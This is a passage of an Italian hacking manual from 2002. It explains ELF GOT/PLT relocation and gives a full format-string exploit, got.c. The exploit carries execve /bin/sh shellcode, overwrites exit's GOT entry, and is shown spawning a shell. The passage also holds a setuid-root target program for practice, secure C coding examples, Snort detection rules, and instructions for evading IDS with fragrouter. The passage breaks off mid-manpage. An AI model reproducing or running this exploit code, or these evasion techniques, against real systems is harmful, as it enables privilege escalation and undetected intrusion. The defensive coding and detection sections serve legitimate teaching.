Quella porzione di memoria di cui parlavamo e' destinata a contenere alcune tabelle proprietarie del formato ELF per la rilocazione. Ogni programma compilato come ELF contiene soltanto il codice delle funzioni scritte da noi (es. il main) mentre tutte le funzioni di libreria (printf, strcpy,...) rimangono in una shared library esterna (le libc) e vengono poi caricate in memoria soltanto quando servono. Questo quindi non ci permette di sapere la posizione assoluta del reale codice di una chiamata in una library esterna. La soluzione e' quindi caricare la parte di libreria esterna solo quando strettamente necessario e ricavare dall'header della libreria il puntatore al codice necessario. Il nostro codice ovviamente da qualche parte deve jumpare per chiamarle. Allora ecco che sono nate la GOT e la PLT. GOT = Global Offset Table PLT = Procedure Linkage Table Queste due tabelle fanno parte della cosiddette 'dynamic relocation entries' del nostro eseguibile.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


La GOT e' una tabella che puo' essere visualizzata con un bel objdump -R sull'eseguibile e contiene una specie di mappa che collega simboli ad indirizzi e a come accedere a quell'indirizzo. Esempio: ./timer: file format elf32-i386 VALUE sleep __libc_start_main printf sscanf

DYNAMIC RELOCATION RECORDS OFFSET TYPE [...] 0804976c R_386_JUMP_SLOT 08049770 R_386_JUMP_SLOT 08049774 R_386_JUMP_SLOT 08049778 R_386_JUMP_SLOT [...]

Il tipo di rilocazione dipende anche da cosa stiamo rilocando, principalmente per le funzioni di libreria si usa soltanto l'R_386_JUMP_SLOT. Prendendo l'esempio: la funzione sscanf ha un'entry nella GOT all'indirizzo 0x08049778. Quando un programma effettua una chiamata alla scanf(), in realta' passa all'indirizzo associato nella jump table (il famoso offset). Questo permette di creare un 'wrapper' per le funzioni. E possibile invece di chiamare la printf di richimare un indirizzo contenuto nella GOT. Questo wrapper prima di tutto carichera' in memoria la parte di libc contenente il codice della printf e poi lo richiamera'. Tutta la serie di procedure di wrapping e la procedura principale per caricare una determinata funzione e' contenuta nella PLT. Questo esempio penso vi chiarara' un pochino le idee (faccio riferimento alla objdumpata di prima): $ gdb ./timer (gdb) x 0x08049778 0x8049778 <_GLOBAL_OFFSET_TABLE_+40>: 0x0804840a /* questo vuol dire che la parte di PLT per il load della sscanf e' all'indirizzo 0x0804840a */ (gdb) disass 0x0804840a Dump of assembler code for function sscanf: 0x8048404 : jmp *0x8049778 0x804840a : push $0x38 0x804840f : jmp 0x8048384 <_init+48> /* presumibilimente, con push $0x38 si indica alla procedura di load della libreria l'indice della funzione desiderata o un suo offset, purtroppo non ho ancora trovato un modo per checkare la veridicita' di questa cosa. All'indirizzo 0x8048384 dovrebbe essere contenuta la procedura di load */ (gdb) disass 0x8048384 Dump of assembler code for function _init: [...] 0x8048382 <_init+46>: ret 0x8048383: Cannot access memory at address 0x8048383 /* per accedere a quella parte di memoria ci vuole un piccolo trucco :P */ (gdb) disass 0x8048384 0x80483aa Dump of assembler code from 0x8048384 to 0x80483aa: 0x8048384 <_init+48>: pushl 0x8049754 0x804838a <_init+54>: jmp *0x8049758 /* Ok, chiamiamo di nuovo qualcosa all'interno della GOT passandogli l'indirizzo della funzione che dovremo poi richiamare ... */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Luso di GOT e PLT hanno solo vantaggi a) Sono allocate in una zona di memoria mappata sempre sia come writable che come executable. b) Hanno indirizzi _FISSI_ ottenibili senza nemmeno dover runnare il programma (objdump -R). I problemi invece sono quelli che seguono : a) Essendo sempre writable e executable in caso di patch come quelle di Solar Designer per lo stack non eseguibile possiamo tranquillamente deviare l'esecuzione del processo. Inoltre, abbiamo anche un posto dove scrivere lo shellcode (in realta' basterebbero 4 stupidi byte) b) Non overwritando il RET della funzione non necessita che tutta la funzione venga eseguita prima di saltare allo shellcode. Quindi, se ci sono controlli tipo canaries, possiamo tranquillamente evitarli, poiche' l'esecuzione deviera' prima. c) L'uso della GOT/PLT puo' essere combinato perfettamente sia con altre tecniche di overflow. d) Il guess degli indirizzi praticamente sparisce, poiche' gli indirizzi sono fissi.

Esempi pratici
Cominciamo a fare delle prove un po' forzate... nel senso di provare a sostituire manualmente un qualche indirizzo di funzione. Se avete mai visto gli heap-based buffer overflow il funzionamento e' molto, molto simile al sovrascrivere un puntatore a funzione, solo che sovrascrivi l'indirizzo della funzione stessa Il fattore di difficolta' e' soltanto uno... Riassumendo un attimo lo stato della memoria: indirizzo piu' basso: ------------------- 0xbe000000 circa | | | STACK | | | -------------------- 0xc0000000 circa | ................ | | ................ | | ................ | -------------------- 0x08040000 circa | | | TEXT AREA | | | -------------------- 0x08048000 circa | | | GOT/PLT/... | | | -------------------- 0x80490000 circa | | | BSS/HEAP | | | -------------------- ... Come vedete, dall'heap e' impossibile raggiugnere la GOT poiche' e' prima mentre dallo stack siamo troppo lontani. Il risultato e': come ci arrivo? Bhe... questo lo vedremo nel prossimo paragrafo... modi ce ne sono e l'inventiva umana supera qualsiasi distanza *g* Per ora evitiamo questo problema e proviamo:

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


<-| gotplt/boh.c |-> #include #include food() { } main() { printf("Sono dentro alla funzione food\n");

long int *got = 0x11223344; *got = (long int)food; exit(0);

} <-X-> Compiliamo con -ggdb e eseguiamo un diump del file object. Come in tutte le funzioni di buffer overflow lo scopo quello di andare a sovrapporsi allindirizzo di ritorno. $ objdump -R ./boh [...] 08049550 R_386_JUMP_SLOT [...] Modifichiamo la variabile: long int *got = 0x08049550; e lanciamo il debugger per ambiente Linux gdb. (gdb) break main Breakpoint 1 at 0x8048442: file boh.c, line 13. (gdb) run Starting program: /home/nail/./boh warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. Breakpoint 1, main () at boh.c:13 13 *got = (long int)food; (gdb) x 0x8049550 0x8049550 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048342

exit

(gdb) disass exit Dump of assembler code for function exit: 0x4003c79c : push %ebp 0x4003c79d : mov %esp,%ebp [...] Prima di eseguire lassegnazione gdb chiama la funzione nella PLT e solo successivamente disassembla il codice di exit. Eseguiamo ora una sostituzione dindirizzo. (gdb) n 14 exit(0); (gdb) disass exit Dump of assembler code for function exit: 0x4003c79c : push %ebp

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


0x4003c79d : [...] mov %esp,%ebp

Andiamo a vedere la modifica. (gdb) x 0x8049550 0x8049550 <_GLOBAL_OFFSET_TABLE_+28>: Proviamo a lanciare il programma. $ ./boh Sono dentro alla funzione food Quando viene chiamata la funzione exit(), il programma cerca l'entry per la rilocazione nella GOT, trova la locazione 0x08049560 che corrisponde alla funzione cercata, e quindi successivamente salta all'indirizzo contenuto in quella locazione. Come nellesempio che avevamo visto allinizio la sostituzione dellindirizzo fa in modo chre il programma salti alla funzione food invece che all'entry nella PLT che gestisce la exit(). Per chi ha un pochino di familiarita' con gli overflow e' molto semplice sfruttare la GOT per fare in modo che il programma esegua iul ritorno sullindirizzo da noi voluto. Mettiamo il caso che vogliamo deviare la printf, prendiamo la locazione nella GOT dove c'e' l'indirizzo della printf e lo overwritiamo con l'indirizzo dello shellcode. Solitamente l'unico problema sta nell'indirizzare il programma a scrivere l poiche' si tratta di una zona di memoria precedente l'heap e che quindi non pu essere raggiunta dallheap. Un modo puo' essere utilizzare i format bug, un altro la tecnica del doppio overflow (stack + heap). Format GOT bugs <-| gotplt/fmt.c |-> #include #include void work(char *s) { printf(s); exit(0); } int main() { char buf[2048]; printf("buf is located @ %p\n", buf); fgets(buf,sizeof(buf), stdin); buf[strlen(buf)-1] = 0; /* strip \n */ work(buf); } <-X-> Come vedete un semplice format buffer overflow non funzionerebbe. Fatta la printf, si modificherebbe il ret della work() che pero' non verrebbe mai raggiunto poiche' la exit() terminerebbe forzatamente il programma. L'unico modo e' sostiuire la exit con il nostro shellcode *g*. Per di piu' abbiamo solo l'imbarazzo della scelta: possiamo usare sia la GOT stessa per infilare lo shellcode, oppure infilarlo in 'buf'. Gia' che abbiamo anche l'indirizzo, possiamo metterlo in buf. Il nostro buffer deve quindi contenere lo shellcode e andare a scrivere nella GOT l'indirizzo dello stesso. Innanzitutto prendiamoci l'indirizzo della exit: $ objdump -R ./fmt DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0x08048420

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


080495c4 08049668 080495ac 080495b0 080495b4 080495b8 080495bc 080495c0 R_386_GLOB_DAT R_386_COPY R_386_JUMP_SLOT R_386_JUMP_SLOT R_386_JUMP_SLOT R_386_JUMP_SLOT R_386_JUMP_SLOT R_386_JUMP_SLOT __gmon_start__ stdin __register_frame_info __deregister_frame_info fgets __libc_start_main printf exit

Ci sono moltissimi modi per fare la format string. Ho scelto quello piu' classico e diffuso: scrivere i bytes in modo incrementale: <\xeb\x08>%$n <\xeb\x08>%$n<\xeb\x08> %$n<\xeb\x08>%$n ADDR e' l'indirizzo a cui dobbiamo andare a scrivere (0x08049590). Per chi non lo sapesse, \xeb\x08 e' un jump relativo 8 byte piu' avanti. Questo permette di andare a prendere in uno qualsiasi dei nop e saltare i %n (a meno che non si sia sfigati assai e si cada direttamente sul %n. Utilizzando %num$x si prende il num-esimo elemento nello stack. $ ./fmt buf is located @ 0xbffff1d8 Per cui diciamo che possiamo scrivere 0xbffff1e2 tranquillamente. Ora cerchiamo la format string all'interno dello stack:
$ ./fmt buf is located @ 0xbffff1d8 AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p %pAAAA0x400137500xbffff9d80x80484c20xbffff7d80x2000xbffff9d80x80484ce0xbffff 7d80xbffff7d80x400131540x400002300x401009b40xbffffa140x2(nil)0x400013100x2c8 0x41414141

Per cui distanza = 18. A questo punto abbiamo tutti i dati per costruire il nostro exploit.
<-| gotplt/got.c |-> #include #include #include char linuxsc[] = /* just aleph1's old shellcode (linux x86) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; int num(int n) { if(n < 10) return 1; if(n < 100) return 2; if(n < 1000) return 3; } int main(int argc, char **argv) { char a[256],b[256],c[256],d[400], buf[1024]; long int what, where; int what0, what1, what2, what3, dist; bzero(a, sizeof(a)); bzero(b, sizeof(b)); bzero(c, sizeof(c));

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


bzero(d, sizeof(d)); bzero(buf, sizeof(buf)); if(argc != 4) { printf("Usage: %s exit(0); }

\n",argv[0]);

/* recuperiamo i nostri indirizzi */ /* what e' cosa va scritto, where dove :) */ sscanf(argv[1], "%lx", &what); sscanf(argv[2], "%lx", &where); dist = atoi(argv[3]); /* dividiamo l'indirizzo */ what0 = (what & 0xff); what1 = (what >> 8) & 0xff; what2 = (what >> 16) & 0xff; what3 = (what >> 24) & 0xff; /* riempiamo un buffer per ogni byte da scrivere */ memset(a, '\x90',what0 - 2 - 16); sprintf(a+strlen(a), "\xeb\x08%%%d$n", dist); memset(b, '\x90',what1 - what0 - 2); sprintf(b+strlen(b), "\xeb\x08%%%d$n", dist+1); memset(c, '\x90',what2 - what1 - 2); sprintf(c+strlen(c), "\xeb\x08%%%d$n", dist+2); memset(d, '\x90',0x100 + what3 - what2 - 2); sprintf(d+strlen(d), "\xeb%c%%%d$n", num(dist)+3, dist+3); /* questo e' difficile :) il salto dev'essere preciso in modo da beccare in pieno lo shellcode. si poteva anche semplicemente mettere ancora qualche NOP ma odio le cose semplici :P */ /* inseriamo i 4 indirizzi */ *(long int *)buf = where; *(long int *)(buf+4) = where+1; *(long int *)(buf+8) = where+2; *(long int *)(buf+12)= where+3; /* tutto il resto e lo shellcode */ sprintf(buf+16, "%s%s%s%s%s", a,b,c,d,linuxsc); /* printiamo */ printf("%s\n", buf); return 0; } <-X->

$ (./got 0xbffff223 0x080495c0 18 ; cat - ) | ./fmt buf is located @ 0xbffff1d8 id uid=1000(nail) gid=100(users) groups=100(users),3(sys) Risultato: la exit() e' diventata il nostro shellcode Doppio overflow (stack+got) Questo e' un metodo un po' particolare... anzi penso che piu' che un metodo sia un trucchetto molto carino. Infatti per essere attuato richiede ben precise condizioni. In poche parole, si tratta di overwritare un puntatore nello stack in modo che una successiva lettura porti a scrivere nella GOT. Esempio:

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


char *msg; char buf[256]; [...] msg = malloc(2048); strcpy(buf, argv[1]); fgets(msg, 2048, stdin); Con la strcpy possiamo sovrascrivere l'indirizzo di msg con quello che ci serve (l'indirizzo a cui dovremmo scrivere all'interno della GOT). Con la fgets poi inseriremo nella GOT tutto quello che ci serve. Ovviamente perche' tutto cio' accada bisogna che:
a) il puntatore sia raggiungibile nello stack dal primo buffer; b) il puntatore non venga modificato tra lo stack overflow e la scrittura all'interno della GOT (se la malloc fosse stata dopo la strcpy sarebbe stato impossibile); c) il puntatore sia ovviamente a nostra disposizione per inserire dati.

Qui sotto potete trovare un programma abbastanza semplice su cui fare esercizio.
<-| gotplt/proggie.c |-> /* ovviamente: # gcc -o proggie proggie.c -lcrypt # chown root ./proggie # chmod 4755 ./proggie # su - user $ vi exploit.c */ #include #include #include #include #include #include char * scheck(char *u) { struct spwd *s; s = getspnam(u); if(!s) return NULL; return s->sp_pwdp; } int check(char *u, char *pwd) { struct passwd *p; char *cpwd; p = getpwnam(u); if(!p) return 0; if(strlen(p->pw_passwd)==1) p->pw_passwd = scheck(u); if(!p->pw_passwd) return 0; cpwd = (char *)crypt(pwd, p->pw_passwd); if(strcmp(cpwd, p->pw_passwd)) return 0; p = getpwnam("nobody"); return p->pw_uid;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


} main() { long int count = 0; int id; char *passwd = NULL; char prompt[200]; char user[256]; printf("Insert your password length: "); fflush(stdout); fgets(user, sizeof(user), stdin); user[strlen(user)-1] = 0; count = atoi(user)+2; /* to get \n and \0 */ passwd = (char *)malloc(count+1); printf("Insert your username: "); fflush(stdout); fgets(user, sizeof(user), stdin); user[strlen(user)-1] = 0; sprintf(prompt, "Insert password for localhost:%s", user); printf("%s: ", prompt); if(count > 16) { printf("Your password is too long.\n"); exit(0); } fgets(passwd, count, stdin); passwd[strlen(passwd)-1] = 0; if((id = check(user, passwd))) { printf("You are logged in!!!\n"); setuid(id); system("/bin/sh -i"); exit(0); } else printf("Error.\n"); } <-X->

Metodi di programmazione per evitare i buffer overflow


Vedremo in questa parte le metodologie di programmazione legate alluso delle normali funzioni di libreria del linguaggio C. strcpy(destinazione, sorgente) Copia una stringa sorgente dentro ad una destinazione. La funzione controlla nella stringa sorgente il carattere di fine sringa \0 e fino a quel punto continua a copiare carattere dopo carattere dentro al buffer di destinazione. Lalgoritmo potrebbe essere : char *source, *dest; while(*dest++ = *source++) ; Corretto
void funzione(char *str) { char buffer[256]; strncpy(buffer, str, sizeof(buffer)-1); buffer{sizeof(buffer)-1] = 0; }

Non corretto
void funzione(char *str) { char buffer[256]; strcpy(buffer, str); }

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


strcat(destinazione, sorgente)
Accoda a destinazione il buffer sorgente.

Lalgoritmo potrebbe essere quello che segue : char *source, *dest; while(*dest++); while(*dest++ = *source++); Corretto
void funzione(char *str) { char buffer[256]; strncat(buffer, str, sizeof(buffer)-1strlen(buffer)); buffer{sizeof(buffer)-1] = 0; }

Non corretto
void funzione(char *str) { char buffer[256]; strcat(buffer, str); }

sprintf(buffer, stringa formattazione, variabili);

Esegue la stampa dentro ad un buffer di una serie di variabili usando la sringa di formattazione la quale usa gli stessi formati di printf().
Corretto
void funzione(char *str) { char buffer[256]; snprintf(buffer, sizeof(buffer)-1, %s, str); }

Non corretto
void funzione(char *str) { char buffer[256]; sprintf(buffer, %s, str); }

gets(stringa)
Legge da tastiera una stringa e la assegna a stringa. Corretto
void funzione() { char buffer[256]; fgets(buffer, sizeof(buffer)-1, stdin); }

Non corretto
void funzione() { char buffer[256]; gets(buffer); }

scanf(stringa for,mattazione, variabili) sscanf(buffer, stringa formattazione, variabili); fscanf(handle, stringa formattazione, variabili); Le funzioni leggono un input da diverse sorgenti (tastiera, buffer, file) usando una stringa di formattazione e assegnano i valori letti alle variabili. Corretto
void funzione() { char buffer[256]; int num; num = fscanf(stdin, %255s, buffer); }

Non corretto
void funzione() { char buffer[256]; int num; num = fscanf(stdin, %s, buffer); }

memcpy(destinazione, sorgente, dimensione) Copia da sorgente a destinazione byte a byte per la mlunghezza specificata. Corretto
void funzione(char *sorgente) { char buffer[256]; if(strlen(sorgente) > 255) return;

Non corretto
void funzione(char *sorgente) { char buffer[256]; memcpy(buffer, sorgente, strlen(sorgente));

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


memcpy(buffer, sorgente, strlen(sorgente)); } }

I programmi che svologono alcune funzioni particolari devono inoltre avere certi tipi di accorgimenti. Prendiamo ad esempio il problema della validazione dei DNS. Il metodo che segue risulta essere non corretto.
int validate(u_int32_t ipaddr, char *hostname) { struct inaddr ia; struct hostent *he; memset(&ia, 0, sizeof(ia)); ia.s_addr = ipaddr; he = gethostbyaddr(&ia, sizeof(ia), AF_INET); if (!he) return 0; if (!he->h_name) return 0; if (!strcmp(he->h_name, hostname)) return 1; return 0; }

Il sorgente corretto invece :


int validate(u_int32_t ipaddr, char *hostname) { struct inaddr ia; struct hostent *he; int count; memset(&ia, 0, sizeof(ia)); ia.s_addr = ipaddr; he = gethostbyaddr(&ia, sizeof(ia), AF_INET); if (!he) return 0; if (!he->h_name) return 0; if (strcmp(he->h_name, hostname)) return 0; he = gethostbyname(hostname); if (!he) return 0; for (count = 0; he->h_addr_list[count]; count++) if (!memcmp(&ipaddr, he->h_addr_list[count], 4) return 1; } return 0;

Anche il settore della vaildazione dei dati inseriti da utenti esistono metodi corretti e metodi invece che possono generare problemi.
#define BAD "/ ;[]<>&\t"

char *query() {

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


char *user_data, *cp; /* Get the data */ user_data = getenv("QUERY_STRING"); /* Remove bad characters */ for (cp = user_data; *(cp += strcspn(cp, BAD)); ) *cp = '_'; return user_data; }

Il sistema coretto invece :


#define OK "abcdefghijklmnopqrstuvwxyz\ BCDEFGHIJKLMNOPQRSTUVWXYZ\ 1234567890_-.@";

char *query() { char *user_data, *cp; /* Get the data */ user_data = getenv("QUERY_STRING"); /* Remove all but good characters */ for (cp = user_data; *(cp += strspn(cp, OK));) *cp = '_'; return user_data; }

I sistemi IDS e metodi di elusione


I sistemi informativi, sia collegati a intranet che ad internet, sono generalmente obbiettivi di attacchi informatici di tutti i tipi ed indirizzati a qualsiasi scopo. Non pensiate che lhacker esterno che manovra in fili di un attacco da un recondito angolo buio della rete sia di fatto il maggiore pericolo per una rete aziendale. Gli attaccanti possono essere da qualsiasi parte ed in particolar modo in mezzo ai dipendenti della aziende stesse delle qali sono i network. Su queste reti ci sono dati di tutti i tipi comprese informazioni che sono considerate private e spesso soggette a segreto da cui potrebbero dipendere gli esiti delle aziende stesse. Per questo motivo tra i dogmi della security, sul mio sito http://www.bernardotti.al.it, ho riportato quello secondo il quale la sicurezza non una spesa ma un investimento. Controllare una piccola rete relativamente semplice. Dico relativamente in quanto intendo dire controllare e farlo bene e non solo controllare alla spera in Dio. In pratica le attivit svolte da questa vengono tenute su dei files di LOG i quali se messi su machine sicure possono essere utili per individuare non solo frodi gi eseguite ma anche tentativi in atto. Prendiamo il classico esempio dei tentivi combinatori legati allindividuazione di una pasword. Il file di og conterr infinit di righe legate ai vari tentativi. Fate attenzione che qualsiasi attivit potrebbe lasciare il file di log e questi potrebbero essere su sistemi non accessibili come ad esempio qui da me in WEBSITEK.COM. In questo caso possediamo una macchina che funziona da fortezza LOGS e sulla quale gira un sistema IDS, precisamente NFR per ambiente Unix. Ma come funzionano questi tipi di programmi. Uno di questi deriva da un sistema di SNIFFER e questo potrebbe fare capire che alcuni di questi di fatto funzionano come questo tipo di programmi. In altre parole, per introdurre lidea, pensate a cosa fa lo sniffer.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Questo si collega ad un certo segmento di rete analizzando tutti i pacchetti che passano su questo. Ma di fatto gli attacchi cosa sono e come vengono eseguiti ? In ogni caso sono sempre stringhe di comandi che vengono indirizzati verso a qualche software particolare come ad esempio quello di gestione di un server http. Il sistema IDS intercetta il traffico e quindi ricerca dentro ai vari pacchetti quelli che contengono riferimenti a attacchi pericolosi per la rete. Un sistema che di fatto in grado di vedere i pacchetti che passano su una rete pu facilmente anche essere utilizzato per confrontrare i contenuti dei pacchetti con quelli reperiti da un database. Prendiamo ad esempio uno sniffer come SNORT. Questo basato sulla libreria di capture dei pacchetti libcap. Si tratta di un pacchetto lanciato da linea di comando anche se la versione Windows possiede anche un interfaccia di comando e controllo in modalit grafica. Questa esattamente quella che segue:

La linea di comando standard : ./snort -v ma possibile specificare i percorsi di dove salvare i logs. ./snort -dev -l ./log La specifica dellIP su cui eseguire lo sniffing : ./snort -dev -l ./log -h 192.168.1.0/24 Snort possiede anche on file snort.conf con dentro la configurazione. Mediante la linea di comando possibile specificare il file di configurazione. ./snort -dev -l ./log -h 192.168.1.0/24 -c snort.conf

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Il sistema di analisi permette di creare delle regole che verranno utilizzate per le ricerche dentro ai pacchetti. Una linea con dentro una regole potrebbe essere : alert tcp any any -> 192.168.1.0/24 111 (content:"|00 01 86 a5|"; \ msg: "mountd access";) Snort possiede un sistema complesso finalizzato alla scrittura di tali regole tanto da comprendere anche luso di variabili. var MY_NET $(MY_NET:-192.168.1.0/24) log tcp any any -> $(MY_NET:?MY_NET is undefined!) 23 Quando si inastala il pacchetto vengono inserite dentro alle directory di setup anche un certo numero con delle regole di base. 28/10/2001 01/11/2001 01/11/2001 28/10/2001 28/10/2001 05/11/2001 19/11/2001 28/10/2001 28/10/2001 01/11/2001 01/11/2001 28/10/2001 28/10/2001 28/10/2001 28/10/2001 28/10/2001 28/10/2001 28/10/2001 28/10/2001 28/10/2001 28/10/2001 28/10/2001 28/10/2001 28/10/2001 28/10/2001 02/11/2001 02/11/2001 28/10/2001 28/10/2001 28/10/2001 28/10/2001 19/11/2001 28/10/2001 17.52 18.03 18.03 17.52 17.52 20.05 17.17 17.52 17.52 18.03 18.03 17.52 17.55 17.52 17.52 17.52 17.52 17.52 17.52 17.52 17.52 17.52 17.52 17.52 17.52 08.21 08.00 17.52 17.52 17.52 17.52 17.17 17.52 1.433 21.823 1.434 5.849 3.277 3.141 10.027 2.664 6.139 16.040 4.301 1.311 59 3.615 3.150 5.415 1.880 11.873 2.445 4.569 3.521 4.098 9.101 2.827 1.140 14.927 9.162 20.151 7.677 7.869 17.924 40.920 685 attack-responses.rules backdoor.rules bad-traffic.rules ddos.rules dns.rules dos.rules exploit.rules finger.rules ftp.rules icmp-info.rules icmp.rules info.rules local.rules misc.rules netbios.rules policy.rules porn.rules rpc.rules rservices.rules scan.rules shellcode.rules smtp.rules sql.rules telnet.rules tftp.rules virus.rules web-attacks.rules web-cgi.rules web-coldfusion.rules web-frontpage.rules web-iis.rules web-misc.rules x11.rules

Come avrete notato i nomi dei files specificano il sistema di filtraggio inserito dentro a quelle regole a cosa si riferiscono. Prendiamo il file che contiene il filtraggio dei comandi netbios.
# (C) Copyright 2001, Martin Roesch, Brian Caswell, et al. All rights reserved. # $Id: netbios.rules,v 1.12 2001/10/29 01:52:54 roesch Exp $ #-------------# NETBIOS RULES #-------------alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS nimda .eml"; content:"|00| E|00|M|00|L"; flags:A+; classtype:bad-unknown; reference:url,www.datafellows.com/vdescs/nimda.shtml; sid:1293; rev:2;)

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS nimda .nws"; content:"|00| N|00|W|00|S"; flags:A+; classtype:bad-unknown; reference:url,www.datafellows.com/vdescs/nimda.shtml; sid:1294; rev:2;) alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS nimda RICHED20.DLL"; content:"R|00|I|00|C|00|H|00|E|00|D|00|2|00|0"; flags:A+; classtype:bad-unknown; reference:url,www.datafellows.com/v-descs/nimda.shtml; sid:1295; rev:2;) alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS DOS RFPoison"; flags: A+; content: "|5C 00 5C 00 2A 00 53 00 4D 00 42 00 53 00 45 00 52 00 56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00|";reference:arachnids,454; classtype:attempted-dos; sid:529; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS NT NULL session"; flags: A+; content: "|00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4E 00 54 00 20 00 31 00 33 00 38 00 31|"; reference:bugtraq,1163; reference:cve,CVE-2000-0347; reference:arachnids,204; classtype:attempted-recon; sid:530; rev:3;) alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS RFParalyze Attempt"; flags: A+; content:"BEAVIS"; content:"yep yep"; classtype:attempted-recon; sid:1239; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ADMIN$access";flags: A+; content:"\\ADMIN$|00 41 3a 00|"; reference:arachnids,340; classtype:attemptedadmin; sid:532; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB C$ access"; flags: A+; content: "|5c|C$|00 41 3a 00|";reference:arachnids,339; classtype:attempted-recon; sid:533; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CD..";flags: A+; content:"\\..|2f 00 00 00|"; reference:arachnids,338; classtype:attempted-recon; sid:534; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CD...";flags: A+; content:"\\...|00 00 00|"; reference:arachnids,337; classtype:attempted-recon; sid:535; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB D$access";flags: A+; content:"\\D$|00 41 3a 00|"; reference:arachnids,336; classtype:attempted-recon; sid:536; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IPC$access";flags: A+; content:"\\IPC$|00 41 3a 00|"; reference:arachnids,335; classtype:attempted-recon; sid:537; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IPC$access";flags: A+; content:"|5c00|I|00|P|00|C|00|$|000000|IPC|00|"; reference:arachnids,334; classtype:attempted-recon; sid:538; rev:1;) alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS Samba clientaccess";flags: A+; content:"|00|Unix|00|Samba"; reference:arachnids,341; classtype:not-suspicious; sid:539; rev:1;)

Andando sulla rete troverete librerie immense di regole da utilizare con la vostra installazione anche se di fatto il nostro interesse nei confronti di questi sistemi esattamente il contrario ovvero come evadere I sistemi IDS. Nei capitoli precedenti abbiamo ad esempio parlato di sistemi di buffer overflow. Come daltra parte anche le altre cose, questa metodologia potrebbe essere particolarmente complessa, se non impossibile, nel caso in cui si cerchi di eseguire lattacco verso un sistema che dspone di un IDS. Sistemi IDS come NFR possiedono una complessit notevole e richiedono un sistema dedicato, oltre a costi esorbitanti. Chiaramente lefficacia di un sistema IDS dipende in particolar modo dalle dimensioni del database contenente gli identificatori degli attacchi e dal metodo di aggiornamento di questi. Luso di sistemi dedicati dventa necessario per due motivi. Pensate al fatto che un sistema software intercetta I pacchetti che passano su una rete e confrontano I dati contenuti dentro a questi eseguendo dei confronti su moli di dati che possono essere anche di grosse dimensioni. Luso di una di questi pacchetti su un sistema che svolge anche altri compiti potrebbe intaccare le prestazioni del sistema stesso. Ma come possibile evadere lintercettazione dei sistemi IDS ? Sembra stupido ma uno dei metodi migliori per eludere un IDS utilizzare un sistema di attacco che non sia registrato nel database di questo. Un altro metodo quello legato alla frammentazione dei pacchetti. Prendiamo ad esempio FRAGROUTER. Questo pacchetto, prelevabile da http:://www.anzen.com/research/nidsbench

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


possiede 35 metodi differenti per spezzare e tagliare I pacchetti di dati in modo da cercare di evitare che il sistema IDS riesca ad identificare le stringhe dalle quali verrebbero rilevati gli identificativi degli attacchi. La bellezza di FRAGROUTER che questo separa le funzionalit di un attacco da quelle delle frammentazione. Come dice il suo nome di fatto il software un ROUTER. Lattaccante sceglie un certo pacchetto da usare nellattacco il quale potrebbe generare un certo numero di pacchetti. Questi verrebbero inviati verso FRAGROUTER il quale gli applicherebbe uno dei 35 metodi e successivamente li dirigerebbe vero al sistema di destinazione. La sintasi : fragrouter - network intrusion detection evasion toolkit Synopsis fragrouter [ -i interface ] [ -p ] [ ATTACK ] host Description Fragrouter is a program for routing network traffic in such a way as to elude most network intrusion detection systems. The attacks implemented correspond to those listed in the Secure Networks ``Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection'' paper of January, 1998. Options -i Specify the interface to accept packets on. -p Preserve the entire protocol header in the first fragment. This is enabled by default on Linux, which doesn't allow sending of short fragments. The following attack options are mutually exclusive - you may only specify one type of attack to run at a time. -B1 baseline-1 : Normal IP forwarding. -F1 frag-1 : Send data in 